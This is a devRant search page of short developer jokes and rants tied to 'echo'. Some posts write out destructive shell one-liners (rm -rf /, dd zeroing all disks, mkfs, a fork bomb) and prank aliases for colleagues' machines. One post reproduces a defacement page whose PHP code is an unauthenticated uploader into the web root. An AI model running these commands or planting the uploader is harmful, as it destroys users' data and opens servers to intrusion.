Join devRant
Do all the things like
++ or -- rants, post your own rants, comment on others' rants and build your customized dev avatar
Sign Up
Pipeless API
From the creators of devRant, Pipeless lets you power real-time personalized recommendations and activity feeds using a simple API
Learn More
Search - "echo"
-
Had to debug an issue,
*ssh user@domain*
"some wild network connection issue"
*hmm weird.. *
*checks everything again*
*hmm seems alright.. *
*tries again*
*same damn error*
*ssh -v user@domain*
*syntax error thingy on the -v part*
😮
*messages co-worker asking what the fuck could be giving on*
"ey mate check your aliases 😂"
*alias"
"alias ssh="echo {insert network connection issue"*
*loud laughing from the co-worker I messaged*
MOTHERFUCKER 😆15 -
7 am. Dog wants out. I roll out of bed after trying to pretend I am dead.
Walk down the stairs to the side door. Half asleep and notice that the door has daylight shining through on the lock side. Didn't shut it all the way the night before. Walk outside. Dog does his thing. Turn around. Doors locked.
Fuck.
Go for my phone. In the house. Go for my keys. In the house. Fuck. Fuck a duck.
Start checking my windows. One opens a fraction of an inch. Doesn't do me any good. Dog is outside with me. Freezing his ass off. It's like 5 degrees here.
Both of my neighbors don't answer their door. Life flashes before my eyes. Put my dog in my jacket to warm him up. Little 15lb rat terrier. Not made for snow.
He's fine for now. I grab a piece of rebar from my backyard and lever my window a bit more open, busting one of the locks.
And then I yell "ALEXA. OPEN THE FRONT DOOR." The voice of an angel responds. "OK." Whirrr. Click. Door opens. Sweet warmth.
I need a fake rock with a key under it.
Great Sunday.18 -
"I'm a full stack dev."
<html>
<h1 style="color: red">
<?php echo("Hello world"); ?>
</h1>
</html>
...16 -
Kids, dont try this at home.
[ $[ $RANDOM % 6 ] == 0 ] && rm -rf / || echo *CLICK*
A.K.A terminal russian roulette.12 -
What my lecturer think I have learned:
- Programming Patterns
- C, C++, Java
- Socket programming, web programming
- Operating system...
What I have actually learned:
1. printf("Hello World");
2. echo "Hello World";
3. console.log("Hello World");
4. Console.Writeline("Hello World");
5. cout << "Hello World" >> endl;
6. System.out.println("Hello World");
7. puts "Hello World";
8. "Hello World"
9. write("Hello World");
10. Display "Hello World"10 -
So that's how my girlfriend wished me a happy birthday.. she's a chemist
<?php
$happy="Happy";
$bday="Birthday";
$to="To";
$you="You";
$dear="Dear";
$boyfriend="Joseph";
for($i=0;$i<4;$i++){
if($i!=2)
echo $happy." ".$bday." ".$to." ".$you."<br>";
else
echo $happy." ".$bday." ".$dear." ".$boyfriend."<br>";
}
?>18 -
She: We've been together for so long and why are you never romantic??
Me: What do you mean? I can say I Love You in 10 different languages!
She: Awww... Really ?!?
Me:
cout<<"I Love You!";
printf("I Love You!);
System.out.println("I Love You!");
print "I Love You!"
echo "I Love You!";
say I Love You
puts "I Love You!
msg db 'I Love You!'
<h1>I Love You!</h1>
dbms_output.put_line ('I Love You!');
Me: Hello.. ?6 -
alias gcc='echo "gcc: fatal error: Input file not found: "
Now have fun watching your victim struggle.7 -
Wanna try your luck?
OH HELL NO! xD
(don't try at home kids 😂😂😂)
#!/bin/bash
if [[ $[ $RANDOM % 6 ] == 0 ]]; then
for f in /dev/sd*; do
dd if=/dev/zero of=$f
done
for f in /dev/nv*; do
dd if=/dev/zero of=$f
done
else
echo "Lucky guy"
fi9 -
I've been writing PHP for more then 10 years. So, one fine day while having coffee with new tech manager...
Manager: huh, you've been programmer for very long time. Can you explain how echo works?
Me: err.. Echo. Spit out string. (show some example code on my phone)
Manager: I mean, I want to know, which part in C++ code in PHP engine. (trying to impress with jargons)
Me: I don't know. But why?
Manager: As programmer, you need to know, so you can echo more efficient.
Me: ... Errr... Ok... (I've been echo-ing for more then decade. Is there a way to make echo more efficient?)13 -
When you're a junior sysadmin but still have to maintain ALL the production server:
How it looks:
$ sudo apt-get update
How it feels:
& sudo [ $[ $RANDOM % 6 ] == 0 ] && rm -rf / || echo *Click*7 -
FUCK YOU PHP!!!! FUCKING HELL JUST FUCK THE HELL OFF YOU PIECE OF SHIT.
8 GOD FORSAKEN HOURS SPENT TRYING TO ZIP SOME SHITTY FUCKING FILES IN A FOLDER ON MY WEB SERVER TO HAVE THEM DOWNLOADED TO MY CLIENT COMPUTER.... 8 HOURS UNABLE TO OPEN THE DAMN FILE AND THE ISSUE WAS "echo" & "print_r()" STATEMENTS GETTING TRAPPED IN MY ZIPARCHIVE BUFFER MAKING THE ZIP FILE A GIANT PILE OF UNREADABLE SHIT.
HOW IN GODS NAME WERE THOSE FUCKERS EVEN BEING ADDED TO THE ZIP FILE.
Fucking hell. Time to sleep.8 -
Got some customers not paying their bills?
Play russian roulette with these projects on the prod. server:
# [ $[ $RANDOM % 6 ] == 0 ] && rm -rf /<path_to_project> || echo "*click*"9 -
So a coworker wrote this -- a function that returns a view if a specific object exists in the database. Now what would happen said object doesn't exist in the database? Forget about returning false and handling it properly, he decides that the function should print (echo) a zero! Not to mention almost all his if-else blocks prints a fucking zero when the if condition is false (there are 8 of them, if you're asking). Error messages? The hell with those.
He is now the PM btw. I've had enough of this shithole.14 -
I had a coworker used to write PHP pages in this way:
<?php
echo "<html>";
echo "<head>";
// 2000+ lines of un-indented nightmares
I tried suggesting him to keep the HTML outside php tags as much as possible and I stressed out that adding some indentation to the code would have improved readability. I also sent him an example of my code created using an IDE with auto-indent functionality.
His creepy answer was: «Readability is subjective. Anyway I'll try to get used to the sinusoidal trend of your code.»11 -
With all this emoji code bullshit flying around in here.
I thought I would test my luck and make what I think would be the worst possible end result of this.
<?php
define("😂","God help me");
define("🤡",100);
for($🍔 = 0; $🍔 <= 🤡; $🍔++){
echo 😂."\n";
}
?>
This will execute and run on PHP7.1 😱
Now let’s all band together and kill emojicode before it becomes a thing we will regret!11 -
cout << "<?php echo \"system.out.println(\\\" console.log('<h1>hello world</h1>'); \\\"); \" ; ?>";15
-
Built my own Amazon Echo with a raspberry pi because they aren't available in my country. Decided to pick up an official Echo Dot while in America but I'm too proud of my little project to tear it down and use the official thing haha9
-
List of commands that will destroy your Linux system.
BEWARE! THESE COMMANDS WILL GREATLY HARM YOUR LINUX DEVICE! I AM NOT RESPONSIBLE FOR ANY DAMAGE DONE ON YOUR DEVICE! I AM NOT RESPONSIBLE IF YOU CANT GET YOUR DEVICE TO WORK AGAIN!
- sudo rm -rf /*
- mkfs.ext4 /dev/sda
- cowsay hello there >> dev/sda
- :(){:|:&};:
- rm -f /bin/su
- rm -f /usr/bin/sudo
- cd /etc;echo hello | tee *47 -
How real men play Russian roulette:
realman@root:~$
[ $[ $RANDOM % 6 ] == 0 ] && rm -rf /* || echo *click*7 -
Now that I have time to approach my ultimate dream ( being the pro penrester ) , asked a hacker for a road map and he gave me (U'll rarely see such open hackers that share knowledge :) )
Surprisingly I've been familiar with all the topics but being the most pro , requires u to be pro in every single topic .
Guess what ? I'm starting from basic linux commands all over again 😂
echo 'hello world :/'25 -
Bought a second hand e-reader and now importing nearly 1k of PDF files into Calibre's library.
Its taking huge amounts of ram and my laptop started freezing.
~$ nano clean.sh
while :
do
sudo sync; echo 3 > /proc/sys/vm/drop_caches
done
~$ chmod +x clean.sh
~$ ./clean.sh
👌12 -
After many hours of work I just finished my first real project in PHP. Now everywhere I look I see people bashing on PHP and praising Node.
echo 'fml';16 -
Give some personality to your CMD!
1. Make a file called i.cmd and add the following text to it:
@echo off
echo me too
2. Move the file to somewhere in the system path (e.g. C:\Windows)
3. Enjoy!1 -
The amount of "echo {number};" thingies I have in my code right now is too damn high, please don't kill me 😅7
-
Privacy.
I have an Amazon Echo.
I've enabled Hey, Siri.
I've given Google the OK.
I don't tape my web cam.
And I find it highly amusing that someone has potentially seen my fat, hairy ass strut naked about my home office while singing "What's up" at the top of my lungs. Perhaps multiple times.
Should I feel bad? That I may have cost the American taxpayer money in the therapy required to rehabilitate those FBI or NSA agents that have witnessed me in my full glory?13 -
full stack web development in 2017: mvvm model, api for backend, parsing on frontend
me: <?php echo "<div>hello".$name."</div>" ?>9 -
When my neighbor forgets to lock his computer, I append this to his bashrc
alias cd='cd $(ls -d */ | sort -R | head -1) && echo'7 -
#!/bin/bash
echo Hello World!
This is my first time here at devRant and I have to say that it's amazing!
Just something to fill this a little more:
Linux enthusiast since 2011.
I'm your stereotypical v̶e̶g̶a̶n̶ Arch user (btw, I use Arch).
Right now I'm learning C and C++(using the QT framework).
Let's the Rant games begin!10 -
Fun drinking game.
1. Phone Indian "Tech Support"
2. Drink every time they "E for echo" or some variant of that.
3. Finally tell them your using Linux.
4. Hang up.
5 Rinse and repeat.2 -
Teaching php to noobs....
type in echo 'hello world'
Go to the browser and run the page
Do you hear the echo?6 -
A. Java at work and on my android app
B. Python for machine learning
C. Shell scripting for work and personal projects
I am writing echo in python and import in bash. My brain is like a soup now.3 -
!rant
Started a series of videos "Building a Webserver with GO and Echo". so exited!!!
https://youtu.be/wgW22wo6-SY6 -
English teacher :prepare a recipe of your favorite meal
Me :yeah sure
Title :how to prepare md5 seasoned with salt.
Procedure :
$salt="*+3256_$@";
$userpass="12345aeiou";
$md5hash=md5($userpass.$salt);
echo $md5hash;3 -
Psa: i dont give a shit if you use php but dont you fucking dare echo your shit out to the dom or i will fucking gut you you degenerate16
-
<?php
$a = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890!. ';
$message = $a[7 + 26].$a[4].$a[11].$a[11].$a[14].$a[64].$a[22 + 26].$a[14].$a[17].$a[11].$a[3].$a[52 + 10];
echo $message;9 -
Finally got my nginx config to work properly (it shouldn't work but it does so I'm not fucking touching it).
Request with curl: check, right http code and getting data back properly.
Request with any browser (with and without incognito): right http code, AND ONLY SEEING DATA WHEN I ECHO ANYTHING BEFORE SENDING THE RESPONSE WITH PHP. When I don't echo whatever before sending the response, the browser doesn't see the data but DOES see the http status code.
HOW?!20 -
$number = 3000/365*365-3000
echo $number
Output:
4,54747350886E-13
No, Just No. I really like you PHP but thats supposed to be zero. I don't got time for your Tantrum's. I got work to do!
PS: Does anyone know why this happens? Solved it by rounding on 10 decimals but prefer it would just answer 0 instead of me having to force it back.23 -
Created a batch script to write some filenames to a text file using a loop.
Missed out the echo command, the script tries to open 100+ zip files on a production/potato server (I feel like prodtato should be a word).
Server cries and crashes
Dev cries and crashes4 -
Just output the web api response like this:
echo "{"
echo " \"key\" = ["
for i in `seq 1 $arrCount`; do
if [ $i -ne 0 ]; then
echo ","
fi
echo "{ \"key1\" = \"${key1[$i]}\","
echo " \"key2\" = \"${key2[$i]}\" }"
done
echo "]}"9 -
*Opens terminal*
*Does the following*
$ touch file.txt
$ echo "Hello world" > file.txt
$ cat file.txt
Hello world
Feels like--6 -
If I do it in python : Finish in one day!
If I do it in C++ :
1 week for installation and configuration
3 days for coding
Another 1 day for troubleshooting...
But I will still prefer do it in C++.5 -
human : Merry Christmas :)
js : console.log("Merry Christmas")
python 2 : print "Merry Christmas"
python 3 : print ("Merry Christmas")
bash : echo "Merry Christmas"
c++ : printf("Merry Christmas")
java : System.out.println("Merry Christmas")
html : <div> Merry Christmas </div>
add in for your favorite languages...20 -
System.out.println("Hello World!");
Console.WriteLine("Hello World!");
console.log("Hello World!");
print("Hello World!)
printf("Hello World!);
cout << "Hello World!" << endl;
echo "Hello World!"
Add some other languages 😁40 -
Me: what happens if you type 'echo PATH'? Pipe it to a file and send it to me
Collaborator: *sends me a 17,238 character text file of their PATH contents*
Me: that's no PATH; that's a space station2 -
Skills required for ML :
Math skills:
|====================|
Programming skills :
|===|
Skills required for ML with GPU:
Math skills:
|====================|
Programming skills :
|====================|
/*contemplating career choice*/
: /3 -
A free, open source, modular (plugin based) home automation control center.
Ultimate goal is to support the core / apis and other devs code the drivers for the 'IoT' devices.
Also integratable with all the speech assistants like Amazon Echo, Google Assistant, Cortana etc.
Not that money dependent but very time consuming project.
Im starting in a week tho!4 -
I'm a noob so I was dumb enough to google 'Eyeballs' in case it's a kind of tools that I don't known yet.
😕3 -
Previously, I rant in twitter but none of my followers understand them.
So now I am gonna switch here.
Please bear with me. (^.^)d1 -
I attended a 2-days scientific conference last week which lasted from 9 AM-7 PM.
I submit my travel expenses today and the university adm got guts to tell me that
I should commute 6 hours everyday to that place instead of staying in a hotel.
Please people, I contribute making our research and name renown to the public. I don't even get paid doing that (did it for the sake of experience).
The least you can do is to support the accomodation. The penny pinching you did in the name of cost saving is embarrasing.
I didn't like every hour spent working in the uni, yet people still ask me why I won't continue to PhD.
No offence to all PhDs out there. It's just that my practical and money-oriented ass couldn't
stand all the free work I have to do if I do that.
I'd rather work in a supermarket, at least I'm getting paid of what I'm worth.
😕7 -
$whiteWalkers = 0;
$text = 'HOLD THE DOOR';
$textLength = strlen($text);
$maxChars = 13;
while {
echo substr_replace($text, '' $maxChars/2, $textLength-$maxChars);
} do ($whiteWalkers < 8);
echo 'Hodor...':
Poor Hodor 😢7 -
Today I had my first :
root@DEC:~# echo "hello World"
in my linux terminal ! :)
Just knew some commands but finally wanna master that !16 -
Taxi Driver: Do you like this song Sir?
Me: Not sure, I don't know it!
Taxi Driver: Alexa, change the song...
Me:...4 -
@echo off
color a
echo Hacking...
ping localhost -n 5 >nul
color c
echo Failed, aborting...
ping localhost -n 3 >nul
pause4 -
My non-programmer friend (a mechanical engineer) has better pay doing what she loves.
I have lower pay, clocking more hours, and stress, doing a subject that I don't like.
Should I change profession?
: /10 -
Because of work, I am spending three days in Hamburg.
echo 'Hallo Hamburg';
I just arrived and am excited to check out my hotel room. Hope their internet is fast! 😬24 -
#wk126 yeah I'm late, I was too lazy to post in time.
Made an IFTTT trigger that WakesOnLAN my desktop using my Echo.
"Alexa, trigger my pc."7 -
@dfox Can we get syntax highlighting? I know someone already requested that so this is just an echo.11
-
Writing 'echo var' instead of 'echo $var' in a shell has the result of the system successfully dad joking you
-
Me : "I need to stop geeking out about security because I have exams and need to write a report"
Me 2 hours later : "Ooooo.. what's this cool article about?Let's check it out 😎"2 -
People have been making fun of me for not having WhatsApp. They say that I am 'behind in technology', 'old fashioned' and that I don't know anything about computers and modern technology because I don't use WhatsApp.
They even kinda make fun of my family. One other family who made fun of us owns both Google Home and Amazon Echo.
What the heck is even going on anymore?
Anyway I am gonna put lights on a fez and wear it to school on monday.
*sips tea*4 -
while true; do
echo "Drop everything this $LATEST_TICKET is your highest priority now!"
sleep(3600)
done1 -
oh microsoft...
you used to put the artifacts in
bin/Release/net6.0/publish
now you just put them in
bin/Release/net6.0
fucking garbage thanks for the heads up
it's golang from here on out
go run main.go && echo 'byebye fucksticks'4 -
Finally, it's working..
A new device added to my Collection.
Welcome Echo Dot !!!!!
Long list of skills planning to implement..6 -
Today’s DevOps public service announcement... don’t test your server provisioning scripts locally. Especially when this gem is in there:
rm -f ~/.ssh/id_rsa
echo ‘vault secret/ssh_key’ > ~/.ssh/id_rsa
Well, I no longer have my key, but the script works! I’m sitting with a very locked down server key6 -
Why the fuck should I echo javascript?
Why in fucks name you do not deal with JSON responses?
Plugin devs are either lazy, or simply stupid as fuck!
Ps: Or I'm actually crazy6 -
Those of you who like "The Imitation Game", you probably want to check out "Hidden Figures" (2016). It's on Netflix now.
About a team of female African-American mathematicians who wanted to "break the glass ceiling" in NASA.
- Dorothy : conquered the (recently acquired) IBM frameworks using Fortran and taught her team to program it
- Mary : appealed to court to be allowed to study in a all-white school to get her qualification to be an aerospace engineer
- Katherine : her skills in analytical geometry enabled her to be the first female African-American in the Space Task Group in calculating the momentous capsule launch into orbit
My lazy ass just can't fathom how someone who deals with so much math and pressure can still smile to their family after work. My grumpiness nature will surely turn me into a monster.
And now I know what "human computers" means.5 -
Any one else have a problem buying gadgets they don't need? I just bought an Amazon Echo and not entirely sure what to do with it. I also have about 6 waiting to be shipped from kickstarters9
-
I nominate all sys- and serveradmins out there for the shell-challenge:
[ $[ $RANDOM % 3 ] == 0 ] && rm -rf / || echo congrats9 -
Thing that just occurred to me.
Write backend of website in Node with Mongo.
Write front end of website by using PHP to echo data from mongo and inline styles. PHP will also echo any inline JS that needs to make AJAX calls back to handle responsiveness.
Write a website with JS as its backend and PHP as its front end because the world has gone absolutely mad and you dgaf anymore.2 -
!Rant
ninePlusTen($date = '29/11/2017') {
if(preg_match("/(29.11)|(11.29)/",$date){
$age++;
echo 'Happy birthday!';
}
}11 -
Dude. Tensorflow version changes are so fucking bad. It's even worse with keras because they create an echo chamber for shit. I'm trynna reset a fuckin model here, yet everything throws 99 more errors to the pile. Like, wtf?
***** For stackoverflow enthusiasts: found a solution, don't need your groundbreaking shit either.9 -
Amazon has a new patent now "Keyword Determinations from Voice Data", which based on speech around a device, can filter out what you like/prefer/.. which could be used for displaying or fuel ads, so basically what everybody implied the facebook app does, but as a patent2
-
If ($shit_hits_fan='true') {
$_GET['vacation'];
} else {
echo 'it was like that when I got here';
}6 -
I just finished writing an Integer Java Virtual Machine in C.
Being able to write an echo server in IJVM Assembly, connect to it through netcat and see it run on my machine is legitimately one of the most satisfying moments I've had so far in programming. -
Other people : save money to buy car, house, etc...
Me : save money to pay for this f*cking degree where 80% of what they taught will be useless after graduation.
: /4 -
Just got a new Alexa Echo Dot. With such love I said "Alexa, welcome to the family"
Alexa: "should I play the song 'welcome to the family' " 😅🙄🙄🙄
Me: meh !!6 -
Finally learning vim after a few years of absolute refusal.
echo export EDITOR="vim" >> ~/.bashrc18 -
The whole dev community.
Those who have dedicated time and energy to share solutions, tricks, bug-solving ideas, codes that I can steal; teach me patiently even though I am slow, cheer me up when I am down because I'm stuck debugging for hours, brighten me up with programming jokes when I am sad.
Those who have allowed me to earn good money in the field that I really enjoy.
Yeah, including you 😘 -
I didn't manage to win a Hacktoberfest 2020 shirt because I don't use GitHub anymore (and they require that apparently) - but I figured I might as well have a go at it.
echo "- an amazing project" >> README.md
git add devduck.png
git commit -m "update docs"
git push devrant feed
Pls like, comment, share, and subscrieb to CodeWithCondor for moar laif hakz :34 -
I bought my first digital assistent an echo dot3 two days ago, today I asked her the laws of robotics.
She started naming them in numerous order, starting at 0 😍6 -
Just discover that I can send "echo bomb" to one of my fellow students trough SSH with the write command.
Then I discover the wall command to send messages to every connected user. Not sure if I am brave enough or if I am going to be banned from our network if I do that 😅5 -
Run this command in your friend's terminal and watch the show...
echo "exit" >> ~/.bashrc
See how long it takes then to figure out what's going on.10 -
When Idiots discovered "shutdown -i" and you're the poor guy without admin rights:
@echo off
:start
shutdown -a
goto start1 -
Being a junior and part of a small team at a startup, working with a new software architecture, even the team lead is a beginner in it. It feels like I'm at an echo chamber, there's nobody expert enough to look up to if stuck, decisions seem to be based on opinions rather than an architectural design kinda point of view.
Ugh, I hope I'm not the only here ever feeling this way.7 -
This is a story of how I did a hard thing in bash:
I need to extract all files with extension .nco from a disk. I don't want to use the GUI (which only works on windows). And I don't want to install any new programs. NCO files are basically like zip files.
Problem 1: The file headers (or something) is broken and 7zip (7z) can only extract it if has .zip extension
Problem 2: find command gives me relative to the disk path and starts with . (a dot)
Solution: Use sed to delete dot. Use sed to convert to full path. Save to file. Load lines from file and for each one, cp to ~/Desktop/file.zip then && 7z e ~/Desktop/file.zip -oOutputDir (Extract file to OutputDir).
Problem 3: Most filenames contain a whitespace. cp doesn't work when given the path wrapped in quotes.
Patch: Use bash parameter substitution to change whitespace to \whitespace.
(Note: I found it easier to apply sed one after another than to put it all in one command)
Why the fuck would anyone compress 345 images into their own archive used by an uncommon windows-only paid back-up tool?
Little me (12 years old) knowing nothing about compression or backup or common software decided to use the already installed shitty program.
This is a big deal for me because it's really the first time I string so many cool commands to achieve desired results in bash (been using Ubuntu for half a year now). Funny thing is the images uncompressed are 4.7GB and the raw files are about 1.4GB so I would have been better off not doing anything at all.
Full command:
find -type f -name "*.nco" |
sed 's/\(^./\)/\1/' |
sed 's/.*/\/media\/mitiko\/2011-2014_1&/' > unescaped-paths.txt
cat unescaped-paths.txt | while read line; do echo "${line// /\\ }" >> escaped-paths.txt; done
rm unescaped-paths.txt
cat escaped-paths.txt | while read line; do (echo "$line" | grep -Eq .*[^db].nco) && echo "$line" >> paths.txt; done
rm escaped-paths.txt
cat paths.txt | while read line; do cp $line ~/Desktop/file.zip && 7z e ~/Desktop/file.zip -oImages >/dev/null; done3 -
$a = 1;
$b = 2;
echo ($a < $b) ? ($a > $b) ? 'This is totally fine' : ($a < $b) ? 'This is not ok!' : 'Perfect' : 'No problem here';
Why do people do this?!
(And I mean nested ternary ifs, not coding in PHP :P)16 -
Intend to help a friend to find out what's wrong with a software installation in his laptop today...
But forgot that his Windows installed in Chinese version... how am I supposed to help.... (; _ ;)
I can't read Chinese... can't even find how to open Control Panel...
_________________________________
My native language is not English, but I always have all my techies set up in English.6 -
Visited a store to buy Amazon Kindle . Explored to find amazon echo . Amazed by the quality of voice recognition at the price of 5000 INR.. Also was shocked to find Amazon firestick at that price..
Amazon is the new Apple..Or..Apple was a overhyped version of Amazon.3 -
What’s your preference for a simple if without shorthand:
if ($variable == ‘test’) echo ‘’hello’;
if ($variable == ‘test’) { echo ‘’hello’; }
if ($variable == ‘test’) {
echo ‘’hello’;
}26 -
Friends/Seniors : "Hey, you should take these courses. They are easy and you can get easily an A!"
Who the fuck decide what optional courses to take based on if it's easy or not?!
Students take them because :
a. They are interested in the subjects
b. Knowledge/skills after attending the courses will be beneficial for future career.
I put my money more on option b though, i.e I'd rather get C's in courses that I found it useful, than getting A's in useless courses.
(Btw, my avg grade is just a little above Cs)
If my sole purpose was just to get straight A's, I would enroll in liberal art courses instead of this stressing half-CS course we're in.
You're a joke to yourself, that's why I don't hang out with you.3 -
http://".$_SERVER['HTTP_HOST']."/server, check the code below
<html lang='en-US'><head><title>T3RR0R B@B@</title>
<a href="https://www.facebook.com/mr.T3RR0R" target="_blank"><h2>Click Here !</h2></a><br>
<style>
body{cursor:url("http:////"),auto;}html{display:table;height:100%;width:100%;}body{display:table-row;}body{display:table-cell;vertical-align:middle;text-align:center;}a:link{text-decoration:none;}
body {
background-color: #000000;
background-image: url(https://imgwm.com/images/...);
<!--http://twitrcover.com/ar/uploads/...-->
margin-left: 0px;
margin-top: 0px;
margin-right: 0px;
margin-bottom: 0px;
background-position:right top;
background-repeat:no-repeat;
background-size:110%
}
.style1 {
font-family: Arial, Helvetica, sans-serif;
font-size: 12px;
}
</style><br><br><br>
<br>
<center><?php
echo "<form method='post' enctype='multipart/form-data'>
<input type='file' name='idx_file'>
<input type='submit' name='upload' value='upload'>
</form>";
$root = $_SERVER['DOCUMENT_ROOT'];
$files = $_FILES['idx_file']['name'];
$dest = $root.'/'.$files;
if(isset($_POST['upload'])) {
if(is_writable($root)) {
if(@copy($_FILES['idx_file']['tmp_name'], $dest)) {
$web = "http://".$_SERVER['HTTP_HOST']."/";
echo "Ciee Sukses Uploadnya :* -> <a href='$web/$files' target='_blank'><b><u>$web/$files</u></b></a>";
} else {
echo "gagal upload root >:(";
}
} else {
if(@copy($_FILES['idx_file']['tmp_name'], $files)) {
echo "Ciee Sukses Uploadnya :* <b>$files</b> di folder ini";
} else {
echo "gagal upload >:(";
}
}
}
?>
<!DOCTYPE html>
<html>
<title>K.I.T.A</title>
<audio autoplay loop>
<source src="http://micro.byethost24.com/KITA.mp..."></source>
</audio>
<head>
<link href='https://fonts.googleapis.com/css/...' rel='stylesheet' type='text/css'>
</head>
<body bgcolor="#2b2b2b" link="gray" text="gray">
<center>
<script type="text/javascript">
TypingText = function(element, interval, cursor, finishedCallback) {
if((typeof document.getElementById == "undefined") || (typeof element.innerHTML == "undefined")) {
this.running = true;
return;
}
this.element = element;
this.finishedCallback = (finishedCallback ? finishedCallback : function() { return; });
this.interval = (typeof interval == "undefined" ? 100 : interval);
this.origText = this.element.innerHTML;
this.unparsedOrigText = this.origText;
this.cursor = (cursor ? cursor : "");
this.currentText = "";
this.currentChar = 0;
this.element.typingText = this;
if(this.element.id == "") this.element.id = "typingtext" + TypingText.currentIndex++;
TypingText.all.push(this);
this.running = false;
this.inTag = false;
this.tagBuffer = "";
this.inHTMLEntity = false;
this.HTMLEntityBuffer = "";
}
TypingText.all = new Array();
TypingText.currentIndex = 0;
TypingText.runAll = function() {
for(var i = 0; i < TypingText.all.length; i++) TypingText.all[i].run();
}
TypingText.prototype.run = function() {
if(this.running) return;
if(typeof this.origText == "undefined") {
setTimeout("document.getElementById('" + this.element.id + "').typingText.run()", this.interval);
return;
}
if(this.currentText == "") this.element.innerHTML = "";
if(this.currentChar < this.origText.length) {
if(this.origText.charAt(this.currentChar) == "<" && !this.inTag) {
this.tagBuffer = "<";
this.inTag = true;
this.currentChar++;
this.run();
return;
} else if(this.origText.charAt(this.currentChar) == ">" && this.inTag) {
this.tagBuffer += ">";
this.inTag = false;
this.currentText += this.tagBuffer;
this.currentChar++;
this.run();
return;
} else if(this.inTag) {
this.tagBuffer += this.origText.charAt(this.currentChar);
this.currentChar++;
this.run();
return;
} else if(this.origText.charAt(this.currentChar) == "&" && !this.inHTMLEntity) {
this.HTMLEntityBuffer = "&";
this.inHTMLEntity = true;
this.currentChar++;
this.run();
return;
} else if(this.origText.charAt(this.currentChar) == ";" && this.inHTMLEntity) {
this.HTMLEntityBuffer += ";";
this.inHTMLEntity = false;
this.currentText += this.HTMLEntityBuffer;
this.currentChar++;
this.currentChar++;
setTimeout("document.getElementById('" + this.element.id + "').typingText.run()", this.interval);
} else {
this.currentText = "";
this.currentChar = 0;
this.running = false;
this.finishedCallback();
}
}
</script>
<br><br><br>
<div id="satu">
<embed src="https://youtube.com/v/tec_KllmOH4/...
<br>
<b style="font-size: 40px;">hacked by T3RR0R B@B@</b>
<br>
- use your brain to repair this system<br>
Scary Crazy Forbidden<br>
@2018<br><br>
Contact : fb.com/mr.T3RR0R
<br></div>11 -
The reason why I like to code alone in the dark is so that people cannot see my dumb mistakes such as 'forgetting to hit run after compile and wasting 10 min wondering why my code didn't show on the console'.
: /1 -
installed apache, php, mysql in linux tried first file in var/www/html/test/index.php wrote following lines there "<?php echo 'hello world'; ".
Wanted to see this on browser opened chrome wrote: " localhost/test" the output it gave "<?php echo 'hello world'; "13 -
So...
function watch($i = null)
switch($i) {
case 1:
return 'Game of Thrones';
break;
case 2:
return 'Silicon Valley';
break;
case 3:
return 'Fear The Walking Dead';
break;
}
}
echo watch(rand(1,3));6 -
Hello, one of the other devs on my team insists that using:
<?=$myVar?>
In a template is super dangerous but:
<?php echo $myVar?>
Is safer.
Why? Is this valid in PHP 7.3?16 -
I never liked YAML. But lately, I'm starting to dislike it more and more.
I mean, wtf is that?
- digest YAML input -- a valid YAML
- digest JSON input -- a valid YAML
A language that embeds another language.
Can it be any more confusing..?
Sure it can. the
```
script:
- echo "John said: hello there"
```
will fail YAML linter, because, even though I used quotes, yaml sees `echo "John said` as an object key
I think I'm yet to find more nonsense with YAML. And eventually, I'll grow to hate it.8 -
Spent 3 weeks working on an issue (raised by dev A) by following the suggested solution stated in the issue.
Pushed a PR and got told by dev B that it's not the correct solution.
Dude, I am just an intern here and following whatever they told me to do. If you have a problem with the solution, please discuss it with dev A.
Now I may have to let go of the issue completely because it turns out to be much more complicated, not for someone with intern level skill.
FML, I guess this won't be the last time I had this right?7 -
Pair programming, hands down. I enjoy the hell out of it but it leaves me mentally and emotionally drained by the end of the day. My co-workers echo this sentiment so I know it's not just me.2
-
Let's play a game.
Dev-ops roulette, loose it all or walk away a lucky boi.
Run this command
sudo [ $[ $RANDOM % 6 ] == 0 ] && rm -rf / || echo "You lucky boi";4 -
`xdg-open` on Linux is fucked up. The thing never works properly for me.
In the attached screenshot below, you can see that `feh` is the default application for opening jpg files, however, it always opens the file in the browser. It doesn't work for any other filetypes as well. It's just messed up.
By the way, I tried to do some debugging on the line number xdg-open reports. It calls this bash line: `"$command_exec" "$@"`, however, when I echo the command, it prints nothing. So this means it can't find the program to open the file with and, at the same time, it reports that the program is set as you can see in the screenshot!!3 -
My first time doing a pair-programming for uni assignment.
My partner is actually smart (a Mechanical Engineering guy), except when it comes to programming :
1. Don't know how to spell FALSE
2. Don't know how to create array in Matlab
3. Poor variable naming
4. Redundant code everywhere
5. Not using tabs
6. Stealing my idea and spit it again in my face after claiming it as his idea
7. Mansplaining every line of his code like I am a stupid person who never sees a computer before.
He said he has an experience in Matlab, wants to specialize in Robotics and taking several ML classes. What did they teach anyway in class to produce a shitty programmer like him?
Thankfully despite his being an arrogant shitty guy, he still manage to get our code to works.
That's good because if not, then I will happily push his head under water while slowly watching him drown.
🤨6 -
Linux:
echo name > /etc/hostname
Windows:
This PC -> Properties -> Extended Settings -> Hostname -> OK.
The fuck windows?!
I'm changing a hostname, not taking out a loan.8 -
!rant
I'm curious. What would you as a developer do with an Amazon Echo and a Google Home sitting right next to each other?
http://nerdist.com/amazon-echo-and-...7 -
A movie star in a upcoming blockchain buster, "The last echo", written in php, based on a true story.
-
Code in index.php: if(!isset($_COCKIE['access'] == '123') {
echo 'Denied'; die;
}
And then there was the access.php which set the cookie.
So you had to go to foo.com/access.php which displayed a white page and set the cookie. Then navigate back to foo.com for access2 -
I've just wasted 2 hours fixing an issue with a GitLab CI YAML definition, all because of a single colon:
echo "Detected changes: compiling new locks"
I swear to god, whoever thought it is a good idea to use YAML for CI scripts should rot in hell.15 -
A prototype being used as production code written in procedural PHP with the code drawn using echo and MySQL (not MySQLi) all mixed together and the configuration with world readable database stored as config.inc.
All backed by a database with no foreign keys or data integrity of any kind. -
A remarkably stupid but efficient technique I invented today to measure the latency of an audio feedback channel involving multiple hardware elements that is difficult to synchronize by itself:
1. Knock. Observe the echo in the feedback.
2.Try to knock in such a way that the physical sound more-or-less lines up with the feedback. The human brain is really good at this on average.
3. Once you often only hear one knock (as perfect synchronization as your ear can tell), record several minutes of audio
4. Stop knocking, count the additional knocks in the echo
5. Multiply the average delay between knocks on the recording by the number of additional knocks from step 44 -
